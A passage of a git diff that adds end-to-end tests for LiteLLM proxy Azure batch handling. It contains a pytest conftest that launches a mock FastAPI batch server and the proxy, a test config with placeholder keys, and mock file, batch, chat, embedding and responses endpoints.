cls.allowed_routes, + }, + headers={ + "Authorization": f"Bearer {cls._master_api_key}", + "Content-Type": "application/json", + }, + timeout=30, + ) + assert key_response.status_code == 200, ( + f"Failed to create additional key: {key_response.status_code} - {key_response.text}" + ) + api_key = key_response.json().get("key") + verify_setting = ( + False + if use_local_litellm() + else BaseLiteLLMIntegrationTest._get_ssl_verify_setting() + ) + client = openai.OpenAI( + base_url=cls._base_url, + api_key=api_key, + http_client=httpx.Client(verify=verify_setting), + ) + print(f"Created additional key for user {user_id}") + return api_key, client \ No newline at end of file diff --git a/tests/proxy_e2e_azure_batches_tests/conftest.py b/tests/proxy_e2e_azure_batches_tests/conftest.py new file mode 100644 index 00000000000..1bad010a206 --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/conftest.py @@ -0,0 +1,311 @@ +""" +Pytest configuration for Azure Batch E2E Tests. + +This conftest manages: +1. Mock Azure Batch server (FastAPI on port 8090) +2. LiteLLM proxy server (port 4000) +3. PostgreSQL database setup +""" + +import asyncio +import os +import subprocess +import sys +import time +from pathlib import Path +from typing import Generator + +import httpx +import pytest + +_test_dir = Path(__file__).parent +sys.path.insert(0, str(_test_dir.parent.parent)) # litellm root +sys.path.insert(0, str(_test_dir)) # test directory for local imports + +LOG_DIR = _test_dir + + +def pytest_configure(config): + """Ensure test directory is in Python path before collection.""" + test_dir = Path(__file__).parent + if str(test_dir) not in sys.path: + sys.path.insert(0, str(test_dir)) + + +MOCK_SERVER_PORT = 8090 +MOCK_SERVER_URL = f"http://localhost:{MOCK_SERVER_PORT}" +LITELLM_PROXY_PORT = 4000 +LITELLM_PROXY_URL = f"http://localhost:{LITELLM_PROXY_PORT}" +DATABASE_URL = "postgresql://llmproxy:dbpassword9090@localhost:5432/litellm" + + +def kill_process_on_port(port: int) -> None: + """Kill any process using the specified port.""" + try: + result = subprocess.run( + ["lsof", "-ti", f":{port}"], + capture_output=True, + text=True, + timeout=5, + ) + if result.stdout.strip(): + pids = result.stdout.strip().split("\n") + for pid in pids: + try: + subprocess.run(["kill", "-9", pid.strip()], timeout=5) + except Exception: + pass + time.sleep(1) + except Exception: + pass + + +def wait_for_server(url: str, max_attempts: int = 30, delay: float = 1.0) -> bool: + """Wait for a server to become available at url/health. + + Any HTTP response (including 401) means the server is up. + Only connection errors count as "not ready yet". + """ + for attempt in range(max_attempts): + try: + response = httpx.get(f"{url}/health", timeout=2.0) + return True + except (httpx.ConnectError, httpx.TimeoutException, httpx.NetworkError): + pass + except Exception: + pass + if attempt < max_attempts - 1: + time.sleep(delay) + return False + + +def _read_log_tail(log_path: Path, max_lines: int = 80) -> str: + """Read the last N lines of a log file, returning empty string if not found.""" + if not log_path.exists(): + return "(log file not found)" + try: + text = log_path.read_text() + lines = text.strip().splitlines() + if len(lines) > max_lines: + return f"... ({len(lines) - max_lines} lines truncated) ...\n" + "\n".join( + lines[-max_lines:] + ) + return text + except Exception as e: + return f"(error reading log: {e})" + + +def _check_process_alive(process: subprocess.Popen, label: str, log_path: Path): + """Check if a subprocess crashed immediately after starting. + Raises pytest.fail with log output if the process has already exited. + """ + time.sleep(1) + exit_code = process.poll() + if exit_code is not None: + log_output = _read_log_tail(log_path) + pytest.fail( + f"{label} exited immediately with code {exit_code}.\n" + f"--- {label} log ({log_path}) ---\n{log_output}\n" + f"--- end log ---" + ) + + +def setup_database() -> bool: + """Ensure PostgreSQL database exists and is accessible.""" + try: + import psycopg2 + + conn = psycopg2.connect( + host="localhost", + port=5432, + database="litellm", + user="llmproxy", + password="dbpassword9090", + connect_timeout=5, + ) + conn.close() + return True + except ImportError: + print("WARNING: psycopg2 not installed — cannot verify database") + return False + except Exception: + return False + + +@pytest.fixture(scope="session") +def mock_azure_server() -> Generator[str, None, None]: + """Start mock Azure batch server as a subprocess.""" + print(f"\n{'=' * 60}") + print("Setting up Mock Azure Batch Server") + print(f"{'=' * 60}") + + kill_process_on_port(MOCK_SERVER_PORT) + + runner_script = Path(__file__).parent / "fixtures" / "run_mock_server.py" + runner_script.write_text( + """ +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from fixtures.mock_azure_batch_server import create_mock_azure_batch_server +import uvicorn + +if __name__ == "__main__": + app = create_mock_azure_batch_server() + uvicorn.run(app, host="0.0.0.0", port=8090, log_level="info", access_log=False) +""" + ) + + mock_log = LOG_DIR / "mock_server.log" + log_file = open(mock_log, "w") + + print(f"Starting mock server on port {MOCK_SERVER_PORT}...") + print(f"Log file: {mock_log}") + process = subprocess.Popen( + [sys.executable, str(runner_script)], + stdout=log_file, + stderr=subprocess.STDOUT, + cwd=Path(__file__).parent, + ) + + _check_process_alive(process, "Mock server", mock_log) + + if not wait_for_server(MOCK_SERVER_URL, max_attempts=30, delay=1.0): + log_output = _read_log_tail(mock_log) + exit_code = process.poll() + process.terminate() + try: + process.wait(timeout=5) + except subprocess.TimeoutExpired: + process.kill() + process.wait() + log_file.close() + pytest.fail( + f"Mock server failed to start on port {MOCK_SERVER_PORT} " + f"(process exit_code={exit_code}).\n" + f"--- mock server log ---\n{log_output}\n--- end log ---\n" + f"Hint: ensure 'uvicorn' and 'fastapi' are installed." + ) + + print(f"Mock Azure server ready at {MOCK_SERVER_URL}") + yield MOCK_SERVER_URL + + print("\nShutting down mock server...") + try: + process.terminate() + process.wait(timeout=5) + except subprocess.TimeoutExpired: + process.kill() + process.wait() + log_file.close() + print("Mock server stopped") + + +@pytest.fixture(scope="session") +def litellm_proxy_server(mock_azure_server: str) -> Generator[str, None, None]: + """Start LiteLLM proxy server for the test session.""" + print(f"\n{'=' * 60}") + print("Setting up LiteLLM Proxy Server") + print(f"{'=' * 60}") + + if not setup_database(): + pytest.skip( + "PostgreSQL database not available at localhost:5432. " + "Start PostgreSQL and create a 'litellm' database:\n" + " docker run -d --name litellm-db -p 5432:5432 " + '-e POSTGRES_USER=llmproxy -e POSTGRES_PASSWORD=dbpassword9090 ' + "-e POSTGRES_DB=litellm postgres:15\n" + "Then run: prisma db push --schema=litellm/proxy/schema.prisma" + ) + print("Database connection verified") + + config_path = Path(__file__).parent / "fixtures" / "config.yml" + if not config_path.exists(): + pytest.fail(f"Config file not found: {config_path}") + print("Config file found") + + kill_process_on_port(LITELLM_PROXY_PORT) + + os.environ["MOCK_SERVER_URL_V1"] = f"{mock_azure_server}/v1" + os.environ["MOCK_SERVER_URL_OPENAI_V1"] = f"{mock_azure_server}/openai/v1" + os.environ["DATABASE_URL"] = DATABASE_URL + os.environ["USE_LOCAL_LITELLM"] = "true" + os.environ["USE_MOCK_MODELS"] = "true" + os.environ["USE_STATE_TRACKER"] = "true" + os.environ["PROXY_BATCH_POLLING_INTERVAL"] = "10" + + print("Environment configured") + + print(f"Starting LiteLLM proxy on port {LITELLM_PROXY_PORT}...") + litellm_root = Path(__file__).parent.parent.parent + + cmd = [ + sys.executable, + "-m", + "litellm.proxy.proxy_cli", + "--config", + str(config_path), + "--port", + str(LITELLM_PROXY_PORT), + "--detailed_debug", + ] + + proxy_log = LOG_DIR / "proxy_server.log" + log_file = open(proxy_log, "w") + print(f"Log file: {proxy_log}") + + process = subprocess.Popen( + cmd, + stdout=log_file, + stderr=subprocess.STDOUT, + env=os.environ.copy(), + cwd=litellm_root, + ) + + _check_process_alive(process, "LiteLLM proxy", proxy_log) + + if not wait_for_server(LITELLM_PROXY_URL, max_attempts=60, delay=1.0): + log_output = _read_log_tail(proxy_log) + exit_code = process.poll() + process.terminate() + try: + process.wait(timeout=5) + except subprocess.TimeoutExpired: + process.kill() + process.wait() + log_file.close() + pytest.fail( + f"LiteLLM proxy failed to start on port {LITELLM_PROXY_PORT} " + f"(process exit_code={exit_code}).\n" + f"--- proxy log (last 80 lines) ---\n{log_output}\n--- end log ---\n" + f"Hints:\n" + f" 1. Ensure Prisma client is generated: " + f"cd {litellm_root} && prisma generate --schema=litellm/proxy/schema.prisma\n" + f" 2. Ensure DB migrations are applied: " + f"prisma db push --schema=litellm/proxy/schema.prisma\n" + f" 3. Check the full log at: {proxy_log}" + ) + + print(f"LiteLLM proxy ready at {LITELLM_PROXY_URL}") + yield LITELLM_PROXY_URL + + print("\nShutting down LiteLLM proxy...") + try: + process.terminate() + process.wait(timeout=10) + except subprocess.TimeoutExpired: + process.kill() + process.wait() + log_file.close() + print("LiteLLM proxy stopped") + + +@pytest.fixture(scope="session") +def event_loop(): + """Provide an event loop for async tests.""" + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + yield loop + loop.close() diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/__init__.py b/tests/proxy_e2e_azure_batches_tests/fixtures/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/config.yml b/tests/proxy_e2e_azure_batches_tests/fixtures/config.yml new file mode 100644 index 00000000000..c991a32aab1 --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/config.yml @@ -0,0 +1,56 @@ +model_list: + - model_name: openai-fake-gpt-3.5-turbo + litellm_params: + model: openai/openai-fake-gpt-3.5-turbo + api_base: os.environ/MOCK_SERVER_URL_V1 + api_key: fake-key + - model_name: openai-fake-gpt-4 + litellm_params: + model: openai/openai-fake-gpt-4 + api_base: os.environ/MOCK_SERVER_URL_V1 + api_key: fake-key + - model_name: openai-fake-gpt-4o + litellm_params: + model: openai/openai-fake-gpt-4o + api_base: os.environ/MOCK_SERVER_URL_V1 + api_key: fake-key + - model_name: fake-text-embedding-3-small + litellm_params: + model: openai/fake-text-embedding-3-small + api_base: os.environ/MOCK_SERVER_URL_V1 + api_key: fake-key + - model_name: o3-mini-batch-2025-01-31 + litellm_params: + model: openai/o3-mini-batch-2025-01-31 + api_base: os.environ/MOCK_SERVER_URL_OPENAI_V1 + api_key: fake-key + model_info: + mode: batch + - model_name: azure-fake-gpt-5-batch-2025-08-07 + litellm_params: + api_base: http://0.0.0.0:8090 + api_key: fake-key + api_version: 2025-03-01-preview + base_model: azure/gpt-5 + model: azure/gpt-5-mini + custom_llm_provider: azure + +general_settings: + master_key: sk-1234 + database_url: os.environ/DATABASE_URL + proxy_batch_polling_interval: 10 + +litellm_settings: + drop_params: true + set_verbose: true + json_logs: true + # S3 callback for batch completion logging (points to mock server) + callbacks: ["s3_v2"] + s3_callback_params: + s3_bucket_name: litellm-test-bucket + s3_region_name: us-east-1 + s3_endpoint_url: http://0.0.0.0:8090 + s3_aws_access_key_id: fake-key + s3_aws_secret_access_key: fake-secret + s3_use_ssl: false + s3_verify: false \ No newline at end of file diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/__init__.py b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/__init__.py new file mode 100644 index 00000000000..3452b3aa501 --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/__init__.py @@ -0,0 +1,3 @@ +from .server import create_mock_azure_batch_server + +__all__ = ["create_mock_azure_batch_server"] diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_azure_batch.py b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_azure_batch.py new file mode 100644 index 00000000000..940f32f595f --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_azure_batch.py @@ -0,0 +1,517 @@ +import asyncio +import io +import json +import logging +import time +import uuid +from typing import Dict, List, Optional + +from fastapi import FastAPI, HTTPException, Query, Request, UploadFile +from fastapi.responses import StreamingResponse +from pydantic import BaseModel + +logging.basicConfig(level=logging.INFO) +logger = logging.getLogger(__name__) + + +class FileObject(BaseModel): + id: str + object: str = "file" + bytes: int + created_at: int + filename: str + purpose: str + status: str = "processed" + status_details: Optional[str] = None + expires_at: Optional[int] = None + + +class BatchObject(BaseModel): + id: str + object: str = "batch" + endpoint: str + errors: Optional[Dict] = None + input_file_id: str + completion_window: str + status: str + output_file_id: Optional[str] = None + error_file_id: Optional[str] = None + created_at: int + in_progress_at: Optional[int] = None + expires_at: Optional[int] = None + finalizing_at: Optional[int] = None + completed_at: Optional[int] = None + failed_at: Optional[int] = None + expired_at: Optional[int] = None + cancelling_at: Optional[int] = None + cancelled_at: Optional[int] = None + request_counts: Optional[Dict[str, int]] = None + metadata: Optional[Dict] = None + + +class BatchListResponse(BaseModel): + object: str = "list" + data: List[Dict] + first_id: Optional[str] = None + last_id: Optional[str] = None + has_more: bool = False + + +file_storage: Dict[str, Dict] = {} +batch_storage: Dict[str, BatchObject] = {} +batch_results: Dict[str, List[Dict]] = {} + +PROCESSING_DELAY_SECONDS = float(1) +VALIDATING_DELAY_SECONDS = float(3) + + +async def process_batch(batch_id: str): + logger.info(f"Starting batch processing for {batch_id}") + try: + batch = batch_storage[batch_id] + + await asyncio.sleep(VALIDATING_DELAY_SECONDS) + batch.status = "in_progress" + batch.in_progress_at = int(time.time()) + logger.info(f"Batch {batch_id} status: in_progress") + + await process_batch_requests(batch_id) + await asyncio.sleep(PROCESSING_DELAY_SECONDS) + + batch.status = "finalizing" + batch.finalizing_at = int(time.time()) + logger.info(f"Batch {batch_id} status: finalizing") + await asyncio.sleep(PROCESSING_DELAY_SECONDS) + + await create_output_file(batch_id) + + batch.status = "completed" + batch.completed_at = int(time.time()) + logger.info(f"Batch {batch_id} status: completed") + + except Exception as e: + logger.error(f"Batch {batch_id} failed: {e}") + batch = batch_storage[batch_id] + batch.status = "failed" + batch.failed_at = int(time.time()) + batch.errors = { + "object": "list", + "data": [{"code": "processing_error", "message": str(e)}], + } + + +async def process_batch_requests(batch_id: str): + batch = batch_storage[batch_id] + input_file = file_storage[batch.input_file_id] + + requests = [] + for line in input_file["content"].split("\n"): + if line.strip(): + try: + requests.append(json.loads(line)) + except json.JSONDecodeError as e: + logger.warning(f"Invalid JSON line in batch {batch_id}: {e}") + + logger.info(f"Batch {batch_id} has {len(requests)} requests") + + results = [] + failed_count = 0 + for req in requests: + result = await process_single_request(req) + if result.get("error"): + failed_count += 1 + results.append(result) + + batch_results[batch_id] = results + batch.request_counts = { + "total": len(requests), + "completed": len(results) - failed_count, + "failed": failed_count, + } + + +async def process_single_request(request_data: Dict) -> Dict: + custom_id = request_data.get("custom_id") + url = request_data.get("url", "/v1/chat/completions") + body = request_data.get("body", {}) + + if "/chat/completions" in url: + response_body = { + "id": f"chatcmpl-{uuid.uuid4().hex}", + "object": "chat.completion", + "created": int(time.time()), + "model": body.get("model", "gpt-4o"), + "choices": [ + { + "index": 0, + "message": {"role": "assistant", "content": "Mock batch response."}, + "finish_reason": "stop", + }, + ], + "usage": {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15}, + } + status_code = 200 + else: + response_body = {"error": {"message": f"Unsupported endpoint: {url}"}} + status_code = 400 + + return { + "id": f"batch_req_{uuid.uuid4().hex[:12]}", + "custom_id": custom_id, + "response": { + "status_code": status_code, + "request_id": f"req_{uuid.uuid4().hex[:12]}", + "body": response_body, + }, + "error": None, + } + + +async def create_output_file(batch_id: str): + results = batch_results.get(batch_id, []) + output_lines = [json.dumps(result) for result in results] + output_content = "\n".join(output_lines) + + output_file_id = f"file-batch-output-{uuid.uuid4().hex[:12]}" + file_storage[output_file_id] = { + "content": output_content, + "filename": f"batch_output_{batch_id}.jsonl", + "purpose": "batch_output", + "bytes": len(output_content.encode()), + "created_at": int(time.time()), + } + + batch = batch_storage[batch_id] + batch.output_file_id = output_file_id + logger.info(f"Created output file {output_file_id} for batch {batch_id}") + + +def validate_batch_input(content: str) -> tuple[bool, str, List[Dict]]: + requests = [] + custom_ids = set() + + lines = content.strip().split("\n") + if not lines or all(not line.strip() for line in lines): + return False, "empty_batch", [] + + for line_num, line in enumerate(lines, 1): + if not line.strip(): + continue + try: + req = json.loads(line) + except json.JSONDecodeError: + return False, "invalid_json_line", [] + + for field in ["custom_id", "method", "url", "body"]: + if field not in req: + return False, "invalid_request", [] + + if req["custom_id"] in custom_ids: + return False, "duplicate_custom_id", [] + custom_ids.add(req["custom_id"]) + + requests.append(req) + + if len(requests) > 100000: + return False, "too_many_tasks", [] + + return True, "", requests + + +def setup_batch_routes(app: FastAPI): + # Files endpoints (OpenAI and Azure paths) + @app.post("/openai/v1/files") + @app.post("/openai/files") + @app.post("/v1/files") + @app.post("/files") + async def create_file(request: Request): + form = await request.form() + logger.info(f"File upload form fields: {list(form.keys())}") + + file: UploadFile = form.get("file") + purpose: str = form.get("purpose", "batch") + + if not file: + raise HTTPException(status_code=400, detail="No file provided") + + logger.info(f"Uploading file: {file.filename}, purpose: {purpose}") + + content = await file.read() + content_str = content.decode("utf-8") + + file_id = f"file-{uuid.uuid4().hex[:24]}" + created_at = int(time.time()) + + expires_at = None + expires_after_seconds = form.get("expires_after[seconds]") + if expires_after_seconds: + try: + seconds = int(expires_after_seconds) + logger.info(f"expires_after[seconds] = {seconds}") + if seconds < 259200 or seconds > 2592000: + raise HTTPException( + status_code=400, + detail={ + "error": { + "code": "invalidPayload", + "message": "Value for Seconds must be between 259200 and 2592000.", + }, + }, + ) + expires_at = created_at + seconds + logger.info(f"Calculated expires_at: {expires_at}") + except ValueError as e: + logger.warning(f"Failed to parse expires_after[seconds]: {e}") + + file_storage[file_id] = { + "content": content_str, + "filename": file.filename or "batch_input.jsonl", + "purpose": purpose, + "bytes": len(content), + "created_at": created_at, + "expires_at": expires_at, + } + + logger.info(f"Created file {file_id}, expires_at={expires_at}") + return FileObject( + id=file_id, + bytes=len(content), + created_at=created_at, + filename=file.filename or "batch_input.jsonl", + purpose=purpose, + expires_at=expires_at, + ).model_dump() + + @app.get("/openai/v1/files/{file_id}") + @app.get("/openai/files/{file_id}") + @app.get("/v1/files/{file_id}") + @app.get("/files/{file_id}") + async def get_file(file_id: str): + logger.info(f"Getting file: {file_id}") + if file_id not in file_storage: + raise HTTPException(status_code=404, detail="File not found") + + file_data = file_storage[file_id] + return FileObject( + id=file_id, + bytes=file_data["bytes"], + created_at=file_data["created_at"], + filename=file_data["filename"], + purpose=file_data["purpose"], + expires_at=file_data.get("expires_at"), + ).model_dump() + + @app.get("/openai/v1/files/{file_id}/content") + @app.get("/openai/files/{file_id}/content") + @app.get("/v1/files/{file_id}/content") + @app.get("/files/{file_id}/content") + async def get_file_content(file_id: str): + logger.info(f"Getting file content: {file_id}") + if file_id not in file_storage: + raise HTTPException(status_code=404, detail="File not found") + + file_data = file_storage[file_id] + content = file_data["content"] + + return StreamingResponse( + io.StringIO(content), + media_type="application/octet-stream", + headers={ + "Content-Disposition": f"attachment; filename={file_data['filename']}", + }, + ) + + @app.delete("/openai/v1/files/{file_id}") + @app.delete("/openai/files/{file_id}") + @app.delete("/v1/files/{file_id}") + @app.delete("/files/{file_id}") + async def delete_file(file_id: str): + logger.info(f"Deleting file: {file_id}") + if file_id not in file_storage: + raise HTTPException(status_code=404, detail="File not found") + + del file_storage[file_id] + return {"id": file_id, "object": "file", "deleted": True} + + @app.get("/openai/v1/files") + @app.get("/openai/files") + @app.get("/v1/files") + @app.get("/files") + async def list_files( + purpose: Optional[str] = None, + limit: int = Query(10000, le=10000), + ): + logger.info(f"Listing files, purpose: {purpose}, limit: {limit}") + files = [] + for file_id, file_data in file_storage.items(): + if purpose is None or file_data.get("purpose") == purpose: + files.append( + FileObject( + id=file_id, + bytes=file_data["bytes"], + created_at=file_data["created_at"], + filename=file_data["filename"], + purpose=file_data["purpose"], + expires_at=file_data.get("expires_at"), + ).model_dump(), + ) + return {"object": "list", "data": files[:limit]} + + # Batches endpoints (OpenAI and Azure paths) + @app.post("/openai/v1/batches") + @app.post("/openai/batches") + @app.post("/v1/batches") + @app.post("/batches") + async def create_batch(request_data: dict): + input_file_id = request_data.get("input_file_id") + endpoint = request_data.get("endpoint", "/v1/chat/completions") + completion_window = request_data.get("completion_window", "24h") + metadata = request_data.get("metadata", {}) + output_expires_after = request_data.get("output_expires_after") + + logger.info( + f"Creating batch with input_file: {input_file_id}, endpoint: {endpoint}, output_expires_after: {output_expires_after}", + ) + + if not input_file_id or input_file_id not in file_storage: + raise HTTPException(status_code=400, detail="Input file not found") + + input_file = file_storage[input_file_id] + is_valid, error_code, _ = validate_batch_input(input_file["content"]) + if not is_valid: + raise HTTPException( + status_code=400, + detail={ + "error": { + "code": error_code, + "message": f"Validation failed: {error_code}", + }, + }, + ) + + batch_id = f"batch_{uuid.uuid4()}" + created_at = int(time.time()) + + if output_expires_after: + seconds = ( + output_expires_after.get("seconds", 0) + if isinstance(output_expires_after, dict) + else 0 + ) + expires_at = created_at + seconds + logger.info( + f"Using output_expires_after: {seconds}s, expires_at: {expires_at}", + ) + elif completion_window == "24h": + expires_at = created_at + (24 * 60 * 60) + else: + expires_at = created_at + (24 * 60 * 60) + + batch = BatchObject( + id=batch_id, + endpoint=endpoint, + input_file_id=input_file_id, + completion_window=completion_window, + status="validating", + created_at=created_at, + expires_at=expires_at, + request_counts={"total": 0, "completed": 0, "failed": 0}, + metadata=metadata, + ) + + batch_storage[batch_id] = batch + logger.info(f"Created batch {batch_id}") + + asyncio.create_task(process_batch(batch_id)) + + return batch.model_dump() + + @app.get("/openai/v1/batches/{batch_id}") + @app.get("/openai/batches/{batch_id}") + @app.get("/v1/batches/{batch_id}") + @app.get("/batches/{batch_id}") + async def get_batch(batch_id: str): + logger.info(f"Getting batch: {batch_id}") + if batch_id not in batch_storage: + raise HTTPException(status_code=404, detail="Batch not found") + + return batch_storage[batch_id].model_dump() + + @app.get("/openai/v1/batches") + @app.get("/openai/batches") + @app.get("/v1/batches") + @app.get("/batches") + async def list_batches( + after: Optional[str] = Query(None), + limit: int = Query(20, le=100), + ): + logger.info(f"Listing batches, after: {after}, limit: {limit}") + batches = list(batch_storage.values()) + batches.sort(key=lambda x: x.created_at, reverse=True) + + if after: + after_index = next((i for i, b in enumerate(batches) if b.id == after), -1) + if after_index >= 0: + batches = batches[after_index + 1 :] + + batches = batches[:limit] + + return BatchListResponse( + data=[batch.model_dump() for batch in batches], + first_id=batches[0].id if batches else None, + last_id=batches[-1].id if batches else None, + has_more=len(batches) == limit, + ).model_dump() + + @app.post("/openai/v1/batches/{batch_id}/cancel") + @app.post("/openai/batches/{batch_id}/cancel") + @app.post("/v1/batches/{batch_id}/cancel") + @app.post("/batches/{batch_id}/cancel") + async def cancel_batch(batch_id: str): + logger.info(f"Cancelling batch: {batch_id}") + if batch_id not in batch_storage: + raise HTTPException(status_code=404, detail="Batch not found") + + batch = batch_storage[batch_id] + if batch.status in ["completed", "failed", "cancelled", "expired"]: + raise HTTPException( + status_code=400, + detail=f"Cannot cancel batch in {batch.status} status", + ) + + batch.status = "cancelled" + batch.cancelled_at = int(time.time()) + logger.info(f"Batch {batch_id} cancelled") + + return batch.model_dump() + + # Debug endpoints + @app.get("/debug/batches") + async def debug_list_batches(): + return { + "batches": { + batch_id: batch.model_dump() + for batch_id, batch in batch_storage.items() + }, + "files": { + file_id: {k: v for k, v in data.items() if k != "content"} + for file_id, data in file_storage.items() + }, + } + + @app.post("/reset") + @app.post("/debug/clear") + async def reset_all(): + file_storage.clear() + batch_storage.clear() + batch_results.clear() + logger.info("All data cleared") + return {"message": "All data cleared"} + + @app.get("/debug/status") + async def debug_status(): + return { + "files_count": len(file_storage), + "batches_count": len(batch_storage), + "batch_statuses": {bid: b.status for bid, b in batch_storage.items()}, + } diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_chat.py b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_chat.py new file mode 100644 index 00000000000..c33523579a5 --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_chat.py @@ -0,0 +1,124 @@ +import json +import time +import uuid +from datetime import datetime + +from fastapi import FastAPI, Request +from fastapi.responses import StreamingResponse + + +def get_request_details(request: Request, body: dict = None) -> str: + details = { + "method": request.method, + "url": str(request.url), + "path": request.url.path, + "headers": dict(request.headers), + "query_params": dict(request.query_params), + } + return json.dumps(details, indent=2) + + +def data_generator(response_details: str, model: str): + response_id = uuid.uuid4().hex + content = response_details + chunk_size = 50 + for i in range(0, len(content), chunk_size): + text_chunk = content[i : i + chunk_size] + chunk = { + "id": f"chatcmpl-{response_id}", + "object": "chat.completion.chunk", + "created": int(time.time()), + "model": model, + "choices": [{"index": 0, "delta": {"content": text_chunk}}], + } + yield f"data: {json.dumps(chunk)}\n\n" + final_chunk = { + "id": f"chatcmpl-{response_id}", + "object": "chat.completion.chunk", + "created": int(time.time()), + "model": model, + "choices": [{"index": 0, "delta": {}, "finish_reason": "stop"}], + } + yield f"data: {json.dumps(final_chunk)}\n\n" + yield "data: [DONE]\n\n" + + +def setup_chat_routes(app: FastAPI): + @app.post("/chat/completions") + @app.post("/v1/chat/completions") + @app.post("/openai/deployments/{model:path}/chat/completions") + async def completion(request: Request): + data = await request.json() + model = data.get("model", "unknown") + request_details = get_request_details(request, data) + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + response_details = f"Request:{request_details}, Canned Response:{timestamp}" + + if data.get("stream"): + return StreamingResponse( + content=data_generator(response_details, model), + media_type="text/event-stream", + ) + else: + response_id = uuid.uuid4().hex + response = { + "id": f"chatcmpl-{response_id}", + "object": "chat.completion", + "created": int(time.time()), + "model": model, + "system_fingerprint": "fp_mock_server", + "choices": [ + { + "index": 0, + "message": { + "role": "assistant", + "content": response_details, + }, + "logprobs": None, + "finish_reason": "stop", + }, + ], + "usage": { + "prompt_tokens": 9, + "completion_tokens": 12, + "total_tokens": 21, + }, + } + return response + + @app.post("/completions") + @app.post("/v1/completions") + async def text_completion(request: Request): + data = await request.json() + model = data.get("model", "unknown") + request_details = get_request_details(request, data) + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + response_details = f"Request:{request_details}, Canned Response:{timestamp}" + + if data.get("stream"): + return StreamingResponse( + content=data_generator(response_details, model), + media_type="text/event-stream", + ) + else: + response = { + "id": f"cmpl-{uuid.uuid4().hex}", + "choices": [ + { + "finish_reason": "stop", + "index": 0, + "logprobs": None, + "text": response_details, + }, + ], + "created": int(time.time()), + "model": model, + "object": "text_completion", + "system_fingerprint": None, + "usage": { + "completion_tokens": 16, + "prompt_tokens": 10, + "total_tokens": 26, + }, + } + return response diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_embeddings.py b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_embeddings.py new file mode 100644 index 00000000000..f31b1ad4b8f --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_embeddings.py @@ -0,0 +1,23 @@ +from fastapi import FastAPI, Request + + +def setup_embeddings_routes(app: FastAPI): + @app.post("/embeddings") + @app.post("/v1/embeddings") + @app.post("/openai/deployments/{model:path}/embeddings") + async def embeddings(request: Request): + data = await request.json() + model = data.get("model", "unknown") + _small_embedding = [ + -0.006929283495992422, + -0.005336422007530928, + -4.547132266452536e-05, + -0.024047505110502243, + ] + big_embedding = _small_embedding * 100 + return { + "object": "list", + "data": [{"object": "embedding", "index": 0, "embedding": big_embedding}], + "model": model, + "usage": {"prompt_tokens": 5, "total_tokens": 5}, + } diff --git a/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_responses.py b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_responses.py new file mode 100644 index 00000000000..94cb25794b1 --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/fixtures/mock_azure_batch_server/mock_responses.py @@ -0,0 +1,170 @@ +import json +import re +import time +import uuid +from datetime import datetime + +from typing import Any + +from fastapi import FastAPI, Request, HTTPException + + +# Header to identify which model/deployment this request targets (simulates Azure model-specific encryption). +# When set, the mock validates that encrypted_content in input was produced by this model. +MOCK_AZURE_MODEL_HEADER = "X-Mock-Azure-Model" + +# Prefix we use in mock encrypted_content: gAAA_model__<32hex uuid> +# Model id can contain underscores (e.g. gpt-5.1-codex-openai-2). +ENCRYPTED_CONTENT_MODEL_PREFIX = re.compile(r"^gAAA_model_(.+)_[0-9a-f]{32}$") + + +def _extract_model_from_encrypted_content(encrypted: str) -> str | None: + """Extract model id from our mock encrypted_content format, or None if not our format.""" + if not isinstance(encrypted, str) or not encrypted.startswith("gAAA"): + return None + m = ENCRYPTED_CONTENT_MODEL_PREFIX.match(encrypted) + return m.group(1) if m else None + + +def _collect_encrypted_contents(obj, out: list[str]) -> None: + """Recursively collect all encrypted_content string values from input structure.""" + if isinstance(obj, dict): + if "encrypted_content" in obj and obj["encrypted_content"]: + out.append(obj["encrypted_content"]) + for v in obj.values(): + _collect_encrypted_contents(v, out) + elif isinstance(obj, list): + for item in obj: + _collect_encrypted_contents(item, out) + + +def _validate_encrypted_content_model(request_model: str | None, input_data: Any) -> str | None: + """ + If request_model is set, check that all encrypted_content in input was produced by this model. + Returns error message if validation fails, else None. + Content with our format (gAAA_model__) must match request_model. + """ + if not request_model: + return None + encrypted_values: list[str] = [] + _collect_encrypted_contents(input_data, encrypted_values) + for enc in encrypted_values: + content_model = _extract_model_from_encrypted_content(enc) + if content_model is not None and content_model != request_model: + err = enc[:50] + "..." if len(enc) > 50 else enc + return f"The encrypted content {err} could not be verified." + return None + + +def get_request_details(request: Request, body: dict = None) -> str: + details = { + "method": request.method, + "url": str(request.url), + "path": request.url.path, + "headers": dict(request.headers), + "query_params": dict(request.query_params), + } + return json.dumps(details, indent=2) + + +def setup_responses_routes(app: FastAPI): + @app.post("/responses") + @app.post("/v1/responses") + @app.post("/openai/responses") + async def responses_api(request: Request): + data = await request.json() + model = data.get("model", "unknown") + + # Simulate Azure: encrypted content from one model cannot be verified by another. + 